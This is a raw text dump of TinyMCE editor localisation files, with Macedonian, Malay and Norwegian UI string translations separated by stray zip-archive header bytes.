"\u041d\u0430\u043f\u0440\u0435\u0434\u043d\u043e",
"Source": "\u0418\u0437\u0432\u043e\u0440",
"Border": "\u0420\u0430\u043c\u043a\u0430",
"Constrain proportions":
"\u0412\u0440\u0437\u0430\u043d\u0438
\u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438",
"Vertical space":
"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0435\u043d
\u043f\u0440\u043e\u0441\u0442\u043e\u0440",
"Image description": "\u041e\u043f\u0438\u0441 \u043d\u0430
\u0441\u043b\u0438\u043a\u0430",
"Style": "\u0421\u0442\u0438\u043b",
"Dimensions":
"\u0414\u0438\u043c\u0435\u043d\u0437\u0438\u0438",
"Insert image": "\u0412\u043c\u0435\u0442\u043d\u0438
\u0441\u043b\u0438\u043a\u0430",
"Insert date\/time": "\u0412\u043c\u0435\u0442\u043d\u0438
\u0434\u0430\u0442\u0443\u043c\/\u0432\u0440\u0435\u043c\u0435",
"Remove link":
"\u041e\u0442\u0441\u0442\u0440\u0430\u043d\u0438
\u043b\u0438\u043d\u043a",
"Url": "URL",
"Text to display": "\u0422\u0435\u043a\u0441\u0442
\u0437\u0430 \u043f\u0440\u0438\u043a\u0430\u0437",
"Anchors": "\u0421\u0438\u0434\u0440\u0430",
"Insert link": "\u0412\u043c\u0435\u0442\u043d\u0438
\u043b\u0438\u043d\u043a",
"New window": "\u041d\u043e\u0432
\u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446",
"None": "\u041d\u0438\u0448\u0442\u043e",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "URL-\u0442\u043e
\u043a\u043e\u0435 \u0433\u043e
\u0432\u043d\u0435\u0441\u043e\u0432\u0442\u0435 \u0441\u0435
\u0447\u0438\u043d\u0438 \u0434\u0435\u043a\u0430 \u0435
\u043d\u0430\u0434\u0432\u043e\u0440\u0435\u0448\u043d\u0430
\u0432\u0440\u0441\u043a\u0430. \u0414\u0430\u043b\u0438
\u0441\u0430\u043a\u0430\u0442\u0435 \u0434\u0430 \u0441\u0435
\u0434\u043e\u0434\u0430\u0434\u0435
\u0437\u0430\u0434\u043e\u043b\u0436\u0438\u0442\u0435\u043b\u043d\u0438\u043e\u0442
http:\/\/ \u043f\u0440\u0435\u0444\u0438\u043a\u0441?",
"Target": "\u0426\u0435\u043b",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "UR-\u0442\u043e
\u043a\u043e\u0435 \u0433\u043e
\u0432\u043d\u0435\u0441\u043e\u0432\u0442\u0435 \u0441\u0435
\u0447\u0438\u043d\u0438 \u0434\u0435\u043a\u0430 \u0435 
\u0435-\u043f\u043e\u0448\u0442\u0430. \u0414\u0430\u043b\u0438
\u0441\u0430\u043a\u0430\u0442\u0435 \u0434\u0430 \u0441\u0435
\u0434\u043e\u0434\u0430\u0434\u0435
\u0437\u0430\u0434\u043e\u043b\u0436\u0438\u0442\u0435\u043b\u043d\u0438\u043e\u0442
mailto: \u043f\u0440\u0435\u0444\u0438\u043a\u0441?",
"Insert\/edit link":
"\u0412\u043c\u0435\u0442\u043d\u0438\/\u0441\u043c\u0435\u043d\u0438
\u043b\u0438\u043d\u043a",
"Insert\/edit video":
"\u0412\u043c\u0435\u0442\u043d\u0438\/\u0441\u043c\u0435\u043d\u0438
\u0432\u0438\u0434\u0435\u043e",
"Poster": "\u041f\u043e\u0441\u0442\u0435\u0440",
"Alternative source":
"\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0435\u043d
\u0438\u0437\u0432\u043e\u0440",
"Paste your embed code below:":
"\u0412\u0435\u043c\u0442\u043d\u0438 \u0433\u043e
\u043a\u043e\u0434\u043e\u0442 \u0437\u0430
\u0432\u0433\u0440\u0430\u0434\u0435\u043d\u043e
\u043f\u043e\u0434\u043e\u043b\u0443:",
"Insert\/Edit code sample":
"\u0412\u043c\u0435\u0442\u043d\u0438\/\u0441\u043c\u0435\u043d\u0438
\u043f\u0440\u0438\u043c\u0435\u0440 \u0437\u0430 \u043a\u043e\u0434",
"Insert video": "\u0412\u043c\u0435\u0442\u043d\u0438
\u0432\u0438\u0434\u0435\u043e",
"Embed":
"\u0412\u0433\u0440\u0430\u0434\u0435\u043d\u043e",
"Nonbreaking space": "\u041c\u0435\u0441\u0442\u043e
\u0431\u0435\u0437
\u043f\u0440\u0435\u043a\u0440\u0448\u0443\u0432\u0430\u045a\u0435",
"Page break":
"\u041f\u0440\u0435\u043a\u0440\u0448\u0443\u0432\u0430\u045a\u0435",
"Paste as text": "\u0412\u043c\u0435\u0442\u043d\u0438
\u043a\u0430\u043a\u043e \u0442\u0435\u043a\u0441\u0442",
"Preview":
"\u041f\u0440\u0435\u0433\u043b\u0435\u0434",
"Print": "\u041f\u0435\u0447\u0430\u0442\u0438",
"Save": "\u0417\u0430\u0447\u0443\u0432\u0430\u0458",
"Could not find the specified string.":
"\u041d\u0435\u043c\u043e\u0436\u043d\u043e \u0434\u0430 \u0441\u0435
\u043d\u0430\u0458\u0434\u0435
\u043f\u043e\u0441\u043e\u0447\u0435\u043d\u0438\u043e\u0442
\u043d\u0438\u0437.",
"Replace": "\u0421\u043c\u0435\u043d\u0438",
"Next": "\u041f\u043e",
"Whole words": "\u0426\u0435\u043b\u0438
\u0437\u0431\u043e\u0440\u043e\u0432\u0438",
"Find and replace": "\u041d\u0430\u0458\u0434\u0438 \u0438
\u0441\u043c\u0435\u043d\u0438",
"Replace with": "\u0421\u043c\u0435\u043d\u0438
\u0441\u043e",
"Find": "\u041d\u0430\u0458\u0434\u0438",
"Replace all": "\u0421\u043c\u0435\u043d\u0438
\u0441\u00e8",
"Match case": "\u0414\u0430 \u0441\u0435
\u0441\u043e\u0432\u043f\u0430\u0453\u0430",
"Prev": "\u041f\u0440\u0435\u0434",
"Spellcheck":
"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430
\u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441",
"Finish": "\u041a\u0440\u0430\u0458",
"Ignore all":
"\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u0458
\u0441\u00e8",
"Ignore":
"\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0430\u0458",
"Add to Dictionary": "\u0414\u043e\u0434\u0430\u0434\u0438
\u0432\u043e \u0440\u0435\u0447\u043d\u0438\u043a",
"Insert row before": "\u041d\u043e\u0432 \u0440\u0435\u0434
\u043f\u0440\u0435\u0434",
"Rows": "\u0420\u0435\u0434\u043e\u0432\u0438",
"Height": "\u0412\u0438\u0441\u0438\u043d\u0430",
"Paste row after": "\u0412\u043c\u0435\u0442\u043d\u0438
\u0440\u0435\u0434 \u043f\u043e\u0441\u043b\u0435",
"Border color": "\u0411\u043e\u0458\u0430 \u043d\u0430
\u0440\u0430\u043c\u043a\u0430",
"Alignment":
"\u041f\u043e\u0440\u0430\u043c\u043d\u0443\u0432\u0430\u045a\u0435",
"Column group": "\u0413\u0440\u0443\u043f\u0430
\u043a\u043e\u043b\u043e\u043d\u0438",
"Row": "\u0420\u0435\u0434",
"Insert column before": "\u041d\u043e\u0432\u0430
\u043a\u043e\u043b\u043e\u043d\u0430 \u043f\u0440\u0435\u0434",
"Split cell": "\u041f\u043e\u0434\u0435\u043b\u0438
\u045c\u0435\u043b\u0438\u0458\u0430",
"Cell padding": "\u041f\u0440\u043e\u0441\u0442\u043e\u0440
\u0432\u043e \u045c\u0435\u043b\u0438\u0458\u0430",
"Cell spacing": "\u041f\u0440\u043e\u0441\u0442\u043e\u0440
\u043c\u0435\u0453\u0443 \u045c\u0435\u043b\u0438\u0438",
"Row type": "\u0422\u0438\u043f \u043d\u0430
\u0440\u0435\u0434",
"Insert table": "\u0412\u043c\u0435\u0442\u043d\u0438
\u0442\u0430\u0431\u0435\u043b\u0430",
"Body": "\u0422\u0435\u043b\u043e",
"Caption": "\u041d\u0430\u0442\u043f\u0438\u0441",
"Footer":
"\u041f\u043e\u0434\u043d\u043e\u0436\u0458\u0435",
"Delete row": "\u0418\u0437\u0431\u0440\u0438\u0448\u0438
\u0440\u0435\u0434",
"Paste row before": "\u0412\u043c\u0435\u0442\u043d\u0438
\u0440\u0435\u0434 \u043f\u0440\u0435\u0434",
"Scope": "\u041e\u043f\u0441\u0435\u0433",
"Delete table": "\u0418\u0437\u0431\u0440\u0438\u0448\u0438
\u0442\u0430\u0431\u0435\u043b\u0430",
"H Align":
"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e
\u043f\u043e\u0440\u0430\u043c\u043d\u0443\u0432\u0430\u045a\u0435",
"Top": "\u0413\u043e\u0440\u0435",
"Header cell":
"\u041d\u0430\u0441\u043b\u043e\u0432\u043d\u0430
\u045c\u0435\u043b\u0438\u0458\u0430",
"Column": "\u041a\u043e\u043b\u043e\u043d\u0430",
"Row group": "\u0413\u0440\u0443\u043f\u0430
\u0440\u0435\u0434\u043e\u0432\u0438",
"Cell": "\u040c\u0435\u043b\u0438\u0458\u0430",
"Middle": "\u0421\u0440\u0435\u0434\u0438\u043d\u0430",
"Cell type": "\u0422\u0438\u043f \u043d\u0430
\u045c\u0435\u043b\u0438\u0458\u0430",
"Copy row": "\u041a\u043e\u043f\u0438\u0440\u0430\u0458
\u0440\u0435\u0434",
"Row properties":
"\u041a\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0441\u0442\u0438\u043a\u0438
\u043d\u0430 \u0440\u0435\u0434",
"Table properties":
"\u041a\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0441\u0442\u0438\u043a\u0438
\u043d\u0430 \u0442\u0430\u0431\u0435\u043b\u0430",
"Bottom": "\u0414\u043e\u043b\u0443",
"V Align":
"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e
\u043f\u043e\u0440\u0430\u043c\u043d\u0443\u0432\u0430\u045a\u0435",
"Header": "\u041d\u0430\u0441\u043b\u043e\u0432",
"Right": "\u0414\u0435\u0441\u043d\u043e",
"Insert column after": "\u041d\u043e\u0432\u0430
\u043a\u043e\u043b\u043e\u043d\u0430 \u043f\u043e",
"Cols": "\u041a\u043e\u043b\u043e\u043d\u0438",
"Insert row after": "\u041d\u043e\u0432 \u0440\u0435\u0434
\u043f\u043e",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Cell properties":
"\u041a\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0441\u0442\u0438\u043a\u0438
\u043d\u0430 \u043a\u043e\u043b\u043e\u043d\u0430",
"Left": "\u041b\u0435\u0432\u043e",
"Cut row": "\u041e\u0442\u0441\u0435\u0447\u0438
\u0440\u0435\u0434",
"Delete column": "\u0418\u0437\u0431\u0440\u0438\u0448\u0438
\u043a\u043e\u043b\u043e\u043d\u0430",
"Center": "\u0426\u0435\u043d\u0442\u0430\u0440",
"Merge cells": "\u0421\u043f\u043e\u0438
\u043a\u043e\u043b\u043e\u043d\u0438",
"Insert template": "\u0412\u043c\u0435\u0442\u043d\u0438
\u0448\u0430\u0431\u043b\u043e\u043d",
"Templates":
"\u0428\u0430\u0431\u043b\u043e\u043d\u0438",
"Background color": "\u0411\u043e\u0458\u0430 \u043d\u0430
\u043f\u043e\u0437\u0430\u0434\u0438\u043d\u0430",
"Custom...": "\u041f\u043e
\u0436\u0435\u043b\u0431\u0430",
"Custom color": "\u0411\u043e\u0458\u0430 \u043f\u043e
\u0436\u0435\u043b\u0431\u0430",
"No color": "\u0411\u0435\u0437
\u0431\u043e\u0458\u0430",
"Text color": "\u0411\u043e\u0458\u0430 \u043d\u0430
\u0442\u0435\u043a\u0441\u0442",
"Show blocks": "\u041f\u0440\u0438\u043a\u0430\u0436\u0438
\u0431\u043b\u043e\u043a\u043e\u0432\u0438",
"Show invisible characters":
"\u041f\u0440\u0438\u043a\u0430\u0436\u0438
\u043d\u0435\u0432\u0438\u0434\u043b\u0438\u0432\u0438
\u043a\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438",
"Words: {0}":
"\u0417\u0431\u043e\u0440\u043e\u0432\u0438:{0}",
"Insert": "\u0412\u043c\u0435\u0442\u043d\u0438",
"File":
"\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Edit":
"\u0423\u0440\u0435\u0434\u0443\u0432\u0430\u045a\u0435",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u0417\u0431\u043e\u0433\u0430\u0442\u0435\u043d\u043e
\u043f\u043e\u043b\u0435 \u0437\u0430 \u0442\u0435\u043a\u0441\u0442.
\u041f\u0440\u0438\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT-F9
\u0437\u0430
\u043c\u0435\u043d\u0438.\u041f\u0440\u0438\u0442\u0438\u0441\u043d\u0435\u0442\u0435
ALT-F10 \u0437\u0430 \u043b\u0435\u043d\u0442\u0430 \u0441\u043e
\u0430\u043b\u0430\u0442\u043a\u0438.\u041f\u0440\u0438\u0442\u0438\u0441\u043d\u0435\u0442\u0435
ALT-0 \u0437\u0430 \u043f\u043e\u043c\u043e\u0448",
"Preformatted":
"\u041f\u0440\u0435\u0434\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u043e",
"Tools": "\u0410\u043b\u0430\u0442\u043a\u0438",
"View": "\u041f\u0440\u0438\u043a\u0430\u0437",
"Table": "\u0422\u0430\u0431\u0435\u043b\u0430",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442",
"Color": "\u0411\u043e\u0458\u0430",
"R": "R",
"G": "G",
"B": "B",
"Rotate counterclockwise":
"\u0417\u0430\u0432\u0440\u0442\u0438
\u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043e\u0434
\u0441\u0442\u0440\u0435\u043b\u043a\u0438\u0442\u0435",
"Rotate clockwise": "\u0417\u0430\u0432\u0440\u0442\u0438
\u0432\u043e \u043f\u0440\u0430\u0432\u0435\u0446 \u043d\u0430
\u0441\u0442\u0440\u0435\u043b\u043a\u0438\u0442\u0435",
"Flip vertically":
"\u041f\u0440\u0435\u0432\u0440\u0442\u0438
\u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e",
"Flip horizontally":
"\u041f\u0440\u0435\u0432\u0440\u0442\u0438
\u0445\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e",
"Edit image": "\u0423\u0440\u0435\u0434\u0438
\u0441\u043b\u0438\u043a\u0430",
"Image options": "\u041e\u043f\u0446\u0438\u0438
\u0437\u0430 \u0441\u043b\u0438\u043a\u0430",
"Zoom in":
"\u0417\u0433\u043e\u043b\u0435\u043c\u0438",
"Zoom out": "\u041d\u0430\u043c\u0430\u043b\u0438",
"Crop": "\u041e\u0442\u0441\u0435\u0447\u0438
\u0434\u0435\u043b",
"Resize":
"\u0420\u0435\u0434\u0438\u043c\u0435\u043d\u0437\u0438\u043e\u043d\u0438\u0440\u0430\u0458",
"Orientation":
"\u041d\u0430\u0441\u043e\u0447\u0435\u043d\u043e\u0441\u0442",
"Brightness":
"\u041e\u0441\u0432\u0435\u0442\u043b\u0443\u0432\u0430\u045a\u0435",
"Sharpen":
"\u041e\u0441\u0442\u0440\u0438\u043d\u0430",
"Contrast":
"\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442",
"Color levels": "\u041d\u0438\u0432\u043e \u043d\u0430
\u0431\u043e\u0438",
"Gamma": "\u0413\u0430\u043c\u0430",
"Invert":
"\u0418\u043d\u0432\u0435\u0440\u0437\u043d\u043e",
"Apply": "\u041f\u0440\u0438\u043c\u0435\u043d\u0438",
"Back": "\u041d\u0430\u0437\u0430\u0434",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "ID
\u0442\u0440\u0435\u0431\u0430 \u0434\u0430
\u043f\u043e\u0447\u043d\u0443\u0432\u0430 \u0441\u043e
\u0431\u0443\u043a\u0432\u0430, \u0441\u043b\u0435\u0434\u0435\u043d\u0430
\u0441\u0430\u043c\u043e \u043e\u0434 \u0431\u0443\u043a\u0432\u0438,
\u0431\u0440\u043e\u0458\u043a\u0438, \u0446\u0440\u0442\u0430,
\u0442\u043e\u0447\u043a\u0430,
\u0442\u043e\u0447\u043a\u0430-\u0437\u0430\u043f\u0438\u0440\u043a\u0430
\u0438\u043b\u0438
\u043f\u043e\u0434\u0432\u043b\u0435\u0447\u0435\u043d\u043e.",
"Insert/Edit code sample":
"\u0412\u043c\u0435\u0442\u043d\u0438/\u0423\u0440\u0435\u0434\u0438
\u0438\u0441\u0435\u0447\u043e\u043a \u043e\u0434 \u043a\u043e\u0434",
"Language": "\u0408\u0430\u0437\u0438\u043a",
"Image": "\u0421\u043b\u0438\u043a\u0430",
"Date/time":
"\u0414\u0430\u0442\u0443\u043c/\u0412\u0440\u0435\u043c\u0435",
"Link": "\u0412\u0440\u0441\u043a\u0430",
"Paste or type a link":
"\u0412\u043c\u0435\u0442\u043d\u0435\u0442\u0435 \u0458\u0430
\u0438\u043b\u0438 \u0432\u043f\u0438\u0448\u0435\u0442\u0435 \u0458\u0430
\u0432\u0430\u0448\u0430\u0442\u0430 \u0432\u0440\u0441\u043a\u0430",
"Insert/Edit Media":
"\u0412\u043c\u0435\u0442\u043d\u0438/\u0423\u0440\u0435\u0434\u0438
\u043c\u0435\u0434\u0438\u0458",
"Media": "\u041c\u0435\u0434\u0438\u0430",
"Table of Contents":
"\u0421\u043e\u0434\u0440\u0436\u0438\u043d\u0430"
});PKR��[{k���tinymce/langs/ms.jsnu�[���tinymce.addI18n('ms',{
"Cut": "Potong",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Pelayar internet anda tidak menyokong akses terus kepada papan klip.
Sila gunakan pintasan papan kekunci Ctrl+X\/C\/V.",
"Paste": "Tampal",
"Close": "Tutup",
"Align right": "Alih ke kanan",
"New document": "Dokumen baru",
"Numbered list": "Senarai bernombor",
"Increase indent": "Tingkatkan inden",
"Formats": "Format",
"Select all": "Pilih semua",
"Undo": "Kembali Ke asal",
"Strikethrough": "Batal",
"Bullet list": "Senarai bullet",
"Superscript": "Superskrip",
"Clear formatting": "Hilangkan format",
"Subscript": "Subskrip",
"Redo": "Buat semula",
"Ok": "Ok",
"Bold": "Tebalkan",
"Italic": "Tulisan senget",
"Align center": "Alih ke tengah",
"Decrease indent": "Kurangkan inden",
"Underline": "Garis bawah",
"Cancel": "Batal",
"Justify": "Sama ratakan",
"Copy": "Salin",
"Align left": "Alihkan ke kiri",
"Visual aids": "Visual bantuan",
"Lower Greek": "Greek Kecil",
"Square": "Petak",
"Default": "Asal",
"Lower Alpha": "Alpha Kecil",
"Circle": "Bulat",
"Disc": "Cakera",
"Upper Alpha": "Alpha Besar",
"Upper Roman": "Roman Besar",
"Lower Roman": "Roman Kecik",
"Name": "Nama",
"Anchor": "Pemberat",
"You have unsaved changes are you sure you want to navigate
away?": "Anda mempunyai perubahan yang belum disimpan, anda pasti
mahu keluar?",
"Restore last draft": "Kembalikan draf lepas",
"Special character": "Karekter unik",
"Source code": "Sumber Kod",
"Right to left": "Kanan Ke kiri",
"Left to right": "Kiri Ke kanan",
"Emoticons": "Emotikon",
"Robots": "Robot",
"Document properties": "Sifat-sifat dokumen",
"Title": "Tajuk",
"Keywords": "Kata kunci",
"Encoding": "Pengekodan",
"Description": "Penerangan",
"Author": "Pengarang",
"Fullscreen": "Skrin penuh",
"Horizontal line": "Garis mendatar",
"Horizontal space": "Ruang mendatar",
"Insert\/edit image": "Masukkan\/Ubah Gambar",
"General": "Am",
"Advanced": "Lanjutan",
"Source": "Sumber",
"Border": "Sempadan",
"Constrain proportions": "Bentuk kekangan",
"Vertical space": "Ruang menegak",
"Image description": "Penerangan gambar",
"Style": "Gaya",
"Dimensions": "Dimensi",
"Insert image": "Masukkan gambar",
"Insert date\/time": "Masukkan tarikh\/masa",
"Remove link": "Padam pautan",
"Url": "Url",
"Text to display": "Teks untuk dipaparkan",
"Insert link": "Masukkan pautan",
"New window": "Tetingkap baru",
"None": "Tiada",
"Target": "Target",
"Insert\/edit link": "Masukkan\/Ubah pautan",
"Insert\/edit video": "Masukkan\/Ubah video",
"Poster": "Poster",
"Alternative source": "Sumber alternatif",
"Paste your embed code below:": "Tampalkan kod embed anda di
bawah:",
"Insert video": "Masukkan video",
"Embed": "Embed",
"Nonbreaking space": "Ruang tidak dipisahkan",
"Preview": "Pratonton",
"Print": "Cetak",
"Save": "Simpan",
"Could not find the specified string.": "Tidak dapat mencari
untaian yang dinyatakan.",
"Replace": "Ganti",
"Next": "Seterusnya",
"Whole words": "Keseluruhan perkataan",
"Find and replace": "Cari dan gantikan",
"Replace with": "Gantikan dengan",
"Find": "Cari",
"Replace all": "Ganti semua",
"Match case": "Huruf sepadan",
"Prev": "Kembali",
"Spellcheck": "Semakan Ejaan",
"Finish": "Tamat",
"Ignore all": "Biarkan semua",
"Ignore": "Biarkan",
"Insert row before": "Masukkan baris sebelumnya",
"Rows": "Baris-Baris",
"Height": "Tinggi",
"Paste row after": "Tampal baris selepasnya",
"Alignment": "Penjajaran",
"Column group": "Kumpulan lajur",
"Row": "Baris",
"Insert column before": "Masukkan lajur sebelumnya",
"Split cell": "Asingkan sel",
"Cell padding": "Penebalan sel",
"Cell spacing": "Penjarakkan sel",
"Row type": "Jenis baris",
"Insert table": "Masukkan jadual",
"Body": "Badan",
"Caption": "Keterangan",
"Footer": "Pengaki",
"Delete row": "Padam Baris",
"Paste row before": "Tampal baris sebelumnya",
"Scope": "Skop",
"Delete table": "Padam jadual",
"Header cell": "Sel pengepala",
"Column": "Lajur",
"Cell": "Sel",
"Header": "Pengepala",
"Cell type": "Jenis sel",
"Copy row": "Salin baris",
"Row properties": "Sifat-sifat baris",
"Table properties": "Sifat-sifat jadual",
"Row group": "Kumpulan baris",
"Right": "Kanan",
"Insert column after": "Masukkan lajur selepasnya",
"Cols": "Cols",
"Insert row after": "Masukkan baris selepasnya",
"Width": "Lebar",
"Cell properties": "Sifat-sifat sel",
"Left": "Kiri",
"Cut row": "Potong baris",
"Delete column": "Padam lajur",
"Center": "Tengah",
"Merge cells": "Gabung Sel",
"Insert template": "Masukkan templat",
"Templates": "Templat",
"Background color": "Warna latar belakang",
"Text color": "Warna teks",
"Show blocks": "Papar blok",
"Show invisible characters": "Papar karekter
tersembunyi",
"Words: {0}": "Perkataan: {0}",
"Insert": "Masukkan",
"File": "Fail",
"Edit": "Ubah",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Ruangan Teks Luas. Tekan ALT-F9 untuk
menu. Tekan ALT-F10 untuk bar perkakasan. Tekan ALT-0 untuk bantuan",
"Tools": "Peralatan",
"View": "Pemandangan",
"Table": "Jadual",
"Format": "Format",
"Inline": "Sebaris",
"Blocks": "Blok-blok",
"Edit image": "Ubah gambar",
"Font Family": "Kumpulan fon",
"Font Sizes": "Saiz fon",
"Paragraph": "Perenggan",
"Address": "Alamat",
"Pre": "Pra",
"Code": "Kod",
"Headers": "Pengepala",
"Header 1": "Pengepala 1",
"Header 2": "Pengepala 2",
"Header 3": "Pengepala 3",
"Header 4": "Pengepala 4",
"Header 5": "Pengepala 5",
"Header 6": "Pengepala 6",
"Insert Time": "Masukkan masa",
"Insert nonbreaking space": "Masukkan ruang yang tidak
dipisahkan",
"Toggle blockquote": "Togol Ruang Petikan"
});PKR��[s��~��tinymce/langs/nb.jsnu�[���tinymce.addI18n('nb',{
"Cut": "Klipp ut",
"Heading 5": "Overskrift 5",
"Header 2": "Overskrift 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Nettleseren din st\u00f8tter ikke direkte tilgang til utklippsboken.
Bruk istedet tastatur-snarveiene Ctrl+X\/C\/V, eller Cmd+X\/C\/V p\u00e5
Mac.",
"Heading 4": "Overskrift 4",
"Div": "Delblokk <div>",
"Heading 2": "Overskrift 2",
"Paste": "Lim inn",
"Close": "Lukk",
"Font Family": "Skriftsnitt",
"Pre": "Definert <pre>",
"Align right": "H\u00f8yrejustert",
"New document": "Nytt dokument",
"Blockquote": "Sitatblokk <blockquote>",
"Numbered list": "Nummerliste",
"Heading 1": "Overskrift 1",
"Headings": "Overskrifter",
"Increase indent": "\u00d8k innrykk",
"Formats": "Stiler",
"Headers": "Overskrifter",
"Select all": "Marker alt",
"Header 3": "Overskrift 3",
"Blocks": "Blokker",
"Undo": "Angre",
"Strikethrough": "Gjennomstreket",
"Bullet list": "Punktliste",
"Header 1": "Overskrift 1",
"Superscript": "Hevet skrift",
"Clear formatting": "Fjern formateringer",
"Font Sizes": "St\u00f8rrelse",
"Subscript": "Senket skrift",
"Header 6": "Overskrift 6",
"Redo": "Utf\u00f8r likevel",
"Paragraph": "Avsnitt <p>",
"Ok": "OK",
"Bold": "Halvfet",
"Code": "Kode <code>",
"Italic": "Kursiv",
"Align center": "Midtstilt",
"Header 5": "Overskrift 5",
"Heading 6": "Overskrift 6",
"Heading 3": "Overskrift 3",
"Decrease indent": "Reduser innrykk",
"Header 4": "Overskrift 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Lim inn er n\u00e5 i
ren-tekst modus. Kopiert innhold vil bli limt inn som ren tekst inntil du
sl\u00e5r av dette valget.",
"Underline": "Understreket",
"Cancel": "Avbryt",
"Justify": "Juster alle linjer",
"Inline": "Innkapslet <span>",
"Copy": "Kopier",
"Align left": "Venstrejustert",
"Visual aids": "Visuelle hjelpemidler",
"Lower Greek": "Greske minuskler",
"Square": "Fylt firkant",
"Default": "Normal",
"Lower Alpha": "Minuskler",
"Circle": "\u00c5pen sirkel",
"Disc": "Fylt sirkel",
"Upper Alpha": "Versaler",
"Upper Roman": "Romerske versaler",
"Lower Roman": "Romerske minuskler",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id burde starte med en
bokstav, bare fulgt av bokstaver, nummer, streker, punktum, koloner eller
understreker.",
"Name": "Navn",
"Anchor": "Anker",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?": "Du har ikke arkivert endringene. Vil du fortsette uten
\u00e5 arkivere?",
"Restore last draft": "Gjenopprett siste utkast",
"Special character": "Spesialtegn",
"Source code": "Kildekode",
"Language": "Spr\u00e5k",
"Insert\/Edit code sample": "Sett inn\/endre
kodeeksempel",
"B": "B",
"R": "R",
"G": "G",
"Color": "Farge",
"Right to left": "H\u00f8yre til venstre",
"Left to right": "Venstre til h\u00f8yre",
"Emoticons": "Hum\u00f8rfjes",
"Robots": "Roboter",
"Document properties": "Dokumentegenskaper",
"Title": "Tittel",
"Keywords": "N\u00f8kkelord",
"Encoding": "Tegnkoding",
"Description": "Beskrivelse",
"Author": "Forfatter",
"Fullscreen": "Fullskjerm",
"Horizontal line": "Horisontal linje",
"Horizontal space": "Horisontal marg",
"Insert\/edit image": "Sett inn\/endre bilde",
"General": "Generelt",
"Advanced": "Avansert",
"Source": "Bildelenke",
"Border": "Ramme",
"Constrain proportions": "Behold proporsjoner",
"Vertical space": "Vertikal marg",
"Image description": "Bildebeskrivelse",
"Style": "Stil",
"Dimensions": "Dimensjoner",
"Insert image": "Sett inn bilde",
"Image": "Bilde",
"Zoom in": "Zoom inn",
"Contrast": "Kontrast",
"Back": "Tilbake",
"Gamma": "Gamma",
"Flip horizontally": "Speilvend horisontalt",
"Resize": "Skaler",
"Sharpen": "Skarphet",
"Zoom out": "Zoom ut",
"Image options": "Bilde innstillinger",
"Apply": "Utf\u00f8r",
"Brightness": "Lysstyrke",
"Rotate clockwise": "Roter mot h\u00f8yre",
"Rotate counterclockwise": "Roter mot venstre",
"Edit image": "Rediger bilde",
"Color levels": "Fargeniv\u00e5",
"Crop": "Beskj\u00e6r",
"Orientation": "Orientering",
"Flip vertically": "Speilvend vertikalt",
"Invert": "Inverter",
"Date\/time": "Dato\/tid",
"Insert date\/time": "Sett inn dato\/tid",
"Remove link": "Fjern lenke",
"Url": "Url",
"Text to display": "Tekst som skal vises",
"Anchors": "Anker",
"Insert link": "Sett inn lenke",
"Link": "Lenke",
"New window": "Nytt vindu",
"None": "Ingen",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Oppgitt URL ser ut til \u00e5
v\u00e6re en e-postadresse. \u00d8nsker du \u00e5 sette inn p\u00e5krevd
mailto:-prefiks foran e-postadressen?",
"Paste or type a link": "Lim inn eller skriv en lenke",
"Target": "M\u00e5l",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Oppgitte URL ser ut til \u00e5
v\u00e6re en epost-adresse. \u00d8nsker du \u00e5 sette inn p\u00e5krevet
mailto: prefiks forran epost-adressen?",
"Insert\/edit link": "Sett inn\/endre lenke",
"Insert\/edit video": "Sett inn\/rediger video",
"Media": "Media",
"Alternative source": "Alternativ kilde",
"Paste your embed code below:": "Lim inn  inkluderings-koden
nedenfor",
"Insert video": "Sett inn video",
"Poster": "Plakatbilde",
"Insert\/edit media": "Sett inn\/endre media",
"Embed": "Inkluder",
"Nonbreaking space": "Hardt mellomrom",
"Page break": "Sideskifte",
"Paste as text": "Lim inn som tekst",
"Preview": "Forh\u00e5ndsvisning",
"Print": "Skriv ut",
"Save": "Arkiver",
"Could not find the specified string.": "Kunne ikke finne
den spesifiserte teksten",
"Replace": "Erstatt",
"Next": "Neste",
"Whole words": "Hele ord",
"Find and replace": "Finn og erstatt",
"Replace with": "Erstatt med",
"Find": "Finn",
"Replace all": "Erstatt alle",
"Match case": "Match store og sm\u00e5 bokstaver",
